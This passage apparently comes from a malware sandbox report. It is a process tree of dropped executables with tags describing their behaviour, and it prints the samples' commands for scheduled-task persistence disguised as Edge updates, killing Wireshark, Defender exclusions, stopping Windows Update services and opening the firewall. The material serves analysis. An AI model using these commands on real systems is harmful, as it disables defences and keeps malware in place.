        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:8
        5⤵
        
        PID:2624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GIEHJKEBAAEB" & exit
      4⤵
      PID:1472
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:780
- - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4696
  - - C:\ProgramData\dllhost.exe
      "C:\ProgramData\dllhost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      PID:4944
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:3300
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3584
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2948
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:2296
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2988
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3356
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:1696
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4660
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:760
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1792
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:1896
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1008
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4692
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:680
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4220
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:2084
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:416
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4216
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:904
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2348
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4836
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:896
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2284
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2496
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:2064
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4800
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1968
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4312
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        
        PID:3936
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4472
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3448
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2020
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1676
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4704
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1520
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:656
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4728
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1564
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:5000
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1560
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1864
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:3596
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:1512
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3280
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:5292
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:5864
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5564
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:6056
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3664
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:3372
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5136
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2148
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:956
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:6996
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1932
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:10744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2640
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 5
        5⤵
        
        PID:1792
- - C:\Users\Admin\AppData\Local\Temp\Files\clip.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\clip.exe"
    3⤵
    - Executes dropped EXE
    PID:4252
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 1268
      4⤵
      Program crash
      PID:3476
- - C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4272
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      PID:3616
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      PID:4120
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1084
      4⤵
      Program crash
      PID:3288
- - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetWindowsHookEx
    PID:900
- - C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2580
- - C:\Users\Admin\AppData\Local\Temp\Files\langla.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\langla.exe"
    3⤵
    - Executes dropped EXE
    PID:4824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"' & exit
      4⤵
      PID:5012
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"'
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1EA.tmp.bat""
      4⤵
      PID:1816
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2040
    - - C:\Users\Admin\AppData\Roaming\http.exe
        
        "C:\Users\Admin\AppData\Roaming\http.exe"
        5⤵
        Executes dropped EXE
        
        PID:4224
- - C:\Users\Admin\AppData\Local\Temp\Files\zzzz1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\zzzz1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1400
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3756
- - C:\Users\Admin\AppData\Local\Temp\Files\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:452
  - - C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
      "C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:2128
    - - C:\Users\Admin\AppData\Local\Temp\ARA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ARA.exe"
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4540
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
        6⤵
        
        PID:2220
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
        7⤵
        
        PID:3572
        
        C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        
        PID:1960
        
        C:\Recovery\WindowsRE\winlogon.exe
        
        "C:\Recovery\WindowsRE\winlogon.exe"
        9⤵
        Executes dropped EXE
        
        PID:4636
- - C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5068
- - C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
    3⤵
    - Executes dropped EXE
    PID:572
- - C:\Users\Admin\AppData\Local\Temp\Files\t2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1268
  - - C:\Windows\sysklnorbcv.exe
      C:\Windows\sysklnorbcv.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:5012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:4960
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3840
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        5⤵
        
        PID:3192
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:2880
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:1804
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:3380
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:5064
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        6⤵
        Launches sc.exe
        
        PID:2932
    - - C:\Users\Admin\AppData\Local\Temp\146064981.exe
        
        C:\Users\Admin\AppData\Local\Temp\146064981.exe
        5⤵
        Executes dropped EXE
        
        PID:1900
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2400
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:2132
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:860
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3596
    - - C:\Users\Admin\AppData\Local\Temp\478229728.exe
        
        C:\Users\Admin\AppData\Local\Temp\478229728.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3912
    - - C:\Users\Admin\AppData\Local\Temp\2233122421.exe
        
        C:\Users\Admin\AppData\Local\Temp\2233122421.exe
        5⤵
        Executes dropped EXE
        
        PID:2132
    - - C:\Users\Admin\AppData\Local\Temp\566219085.exe
        
        C:\Users\Admin\AppData\Local\Temp\566219085.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5264
- - C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:2704
- - C:\Users\Admin\AppData\Local\Temp\Files\dayum.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dayum.exe"
    3⤵
    - Executes dropped EXE
    PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\server.exe
      "C:\Users\Admin\AppData\Local\Temp\server.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2492
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3152
- - C:\Users\Admin\AppData\Local\Temp\Files\build555.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\build555.exe"
    3⤵
    - Executes dropped EXE
    PID:1564
- - C:\Users\Admin\AppData\Local\Temp\Files\Authenticator.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Authenticator.exe"
    3⤵
    - Executes dropped EXE
    PID:3164
- - C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:2000
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      4⤵
      PID:4820
- - C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:1484
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      PID:2756
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 468
        5⤵
        Program crash
        
        PID:2936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 464
        5⤵
        Program crash
        
        PID:2892
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
    3⤵
    - Executes dropped EXE
    PID:2940
- - C:\Users\Admin\AppData\Local\Temp\Files\service.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\service.exe"
    3⤵
    - Executes dropped EXE
    PID:4040
- - C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2676
- - C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe"
    3⤵
    - Executes dropped EXE
    PID:2032
  - - C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4728
- - C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4512
- - C:\Users\Admin\AppData\Local\Temp\Files\winrar-x64-701.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\winrar-x64-701.exe"
    3⤵
    - Executes dropped EXE
    PID:4272
  - - C:\Users\Admin\AppData\Local\Temp\winrar-info.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-info.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Enumerates system info in registry
      PID:4744
  - - C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1884
- - C:\Users\Admin\AppData\Local\Temp\Files\r.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:748
  - - C:\Windows\sysvplervcs.exe
      C:\Windows\sysvplervcs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:3824
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:2024
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4544
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        
        PID:2572
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:3672
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1476
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:2284
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:924
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:2764
    - - C:\Users\Admin\AppData\Local\Temp\2905210929.exe
        
        C:\Users\Admin\AppData\Local\Temp\2905210929.exe
        5⤵
        Executes dropped EXE
        
        PID:3000
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:1504
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:3944
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:4868
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3528
    - - C:\Users\Admin\AppData\Local\Temp\272992552.exe
        
        C:\Users\Admin\AppData\Local\Temp\272992552.exe
        5⤵
        Executes dropped EXE
        
        PID:2956
    - - C:\Users\Admin\AppData\Local\Temp\438530819.exe
        
        C:\Users\Admin\AppData\Local\Temp\438530819.exe
        5⤵
        Executes dropped EXE
        
        PID:1472
- - C:\Users\Admin\AppData\Local\Temp\Files\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:432
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1756
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4368
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4836
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4520
  - - C:\Windows\system32\sc.exe
